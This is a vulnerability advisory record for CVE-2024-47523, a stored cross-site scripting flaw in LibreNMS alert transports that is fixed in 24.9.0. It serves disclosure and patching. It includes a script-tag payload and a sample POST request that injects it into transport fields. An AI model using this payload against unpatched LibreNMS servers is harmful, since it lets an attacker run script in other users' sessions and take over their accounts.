ghsa-7f84-28qh-9486
Vulnerability from github
5.2 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L/E:P
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Alert Transports" feature allows authenticated users to inject arbitrary JavaScript through the "Details" section (which contains multiple fields depending on which transport is selected at that moment). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.
Details
The vulnerability occurs when creating an alert transport. The application does not properly sanitize the user input in the "Details" field, allowing an attacker to inject and store arbitrary JavaScript. This script is then executed in the context of the page whenever the alert transport is viewed or processed.
For instance, the following payload can be used to trigger the XSS:
test1<script>{onerror=alert}throw 1337</script>
When the page containing the transport details is loaded, this payload causes the browser to execute the injected script, which in this case triggers an alert popup.
The root cause of the vulnerability is that the application does not sanitize the value of $instance->displayDetails before appending it to the HTML output. This is demonstrated in the following code: https://github.com/librenms/librenms/blob/4777247327c793ed0a3306d0464b95176008177b/includes/html/print-alert-transports.php#L40
PoC
- Create a new alert transport in the LibreNMS interface.
- Depending on the transport chosen, just input the following payload in any field that ends up in the "Details" section:
test1<script>{onerror=alert}throw 1337</script> - Save the transport and trigger the alert.
- When the transport details are accessed, the injected script executes, displaying an alert popup.
Example Request:
```http POST /ajax_form.php HTTP/1.1 Host: X-Requested-With: XMLHttpRequest X-CSRF-TOKEN: Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie:
_token=&transport_id=2&type=alert-transports&name=Test1&transport-choice=canopsis-form&_token=Ep6belaqXe5qE301CGmtoOWJ71gvRfBXjRyhXEpH&transport-type=canopsis&canopsis-host=localhost%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E&canopsis-port=5000&canopsis-user=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E&canopsis-pass=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E&canopsis-vhost=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E ```
Impact
It could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "librenms/librenms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "24.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47523"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-01T20:31:22Z",
"nvd_published_at": "2024-10-01T21:15:07Z",
"severity": "MODERATE"
},
"details": "### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Alert Transports\" feature allows authenticated users to inject arbitrary JavaScript through the \"Details\" section (which contains multiple fields depending on which transport is selected at that moment). This vulnerability can lead to the execution of malicious code in the context of other users\u0027 sessions, potentially compromising their accounts and allowing unauthorized actions.\n\n### Details\nThe vulnerability occurs when creating an alert transport. The application does not properly sanitize the user input in the \"Details\" field, allowing an attacker to inject and store arbitrary JavaScript. This script is then executed in the context of the page whenever the alert transport is viewed or processed.\n\nFor instance, the following payload can be used to trigger the XSS:\n```test1\u003cscript\u003e{onerror=alert}throw 1337\u003c/script\u003e```\n\nWhen the page containing the transport details is loaded, this payload causes the browser to execute the injected script, which in this case triggers an alert popup.\n\nThe root cause of the vulnerability is that the application does not sanitize the value of $instance-\u003edisplayDetails before appending it to the HTML output. This is demonstrated in the following code:\nhttps://github.com/librenms/librenms/blob/4777247327c793ed0a3306d0464b95176008177b/includes/html/print-alert-transports.php#L40\n\n### PoC\n1. Create a new alert transport in the LibreNMS interface.\n2. Depending on the transport chosen, just input the following payload in any field that ends up in the \"Details\" section:\n```test1\u003cscript\u003e{onerror=alert}throw 1337\u003c/script\u003e```\n3. Save the transport and trigger the alert.\n4. When the transport details are accessed, the injected script executes, displaying an alert popup.\n\nExample Request:\n\n```http\nPOST /ajax_form.php HTTP/1.1\nHost: \u003cyour_host\u003e\nX-Requested-With: XMLHttpRequest\nX-CSRF-TOKEN: \u003cyour_XSRF_token\u003e\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nCookie: \u003cyour_cookie\u003e\n\n_token=\u003cyour_token\u003e\u0026transport_id=2\u0026type=alert-transports\u0026name=Test1\u0026transport-choice=canopsis-form\u0026_token=Ep6belaqXe5qE301CGmtoOWJ71gvRfBXjRyhXEpH\u0026transport-type=canopsis\u0026canopsis-host=localhost%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E\u0026canopsis-port=5000\u0026canopsis-user=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E\u0026canopsis-pass=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E\u0026canopsis-vhost=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E\n```\n\n### Impact\nIt could allow authenticated users to execute arbitrary JavaScript code in the context of other users\u0027 sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.\n",
"id": "GHSA-7f84-28qh-9486",
"modified": "2024-10-01T21:53:05Z",
"published": "2024-10-01T20:31:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/security/advisories/GHSA-7f84-28qh-9486"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47523"
},
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/commit/ee1afba003d33667981e098c83295f599d88439c"
},
{
"type": "PACKAGE",
"url": "https://github.com/librenms/librenms"
},
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/blob/4777247327c793ed0a3306d0464b95176008177b/includes/html/print-alert-transports.php#L40"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L/E:P",
"type": "CVSS_V4"
}
],
"summary": "LibreNMS has Stored Cross-site Scripting vulnerability in \"Alert Transports\" feature"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.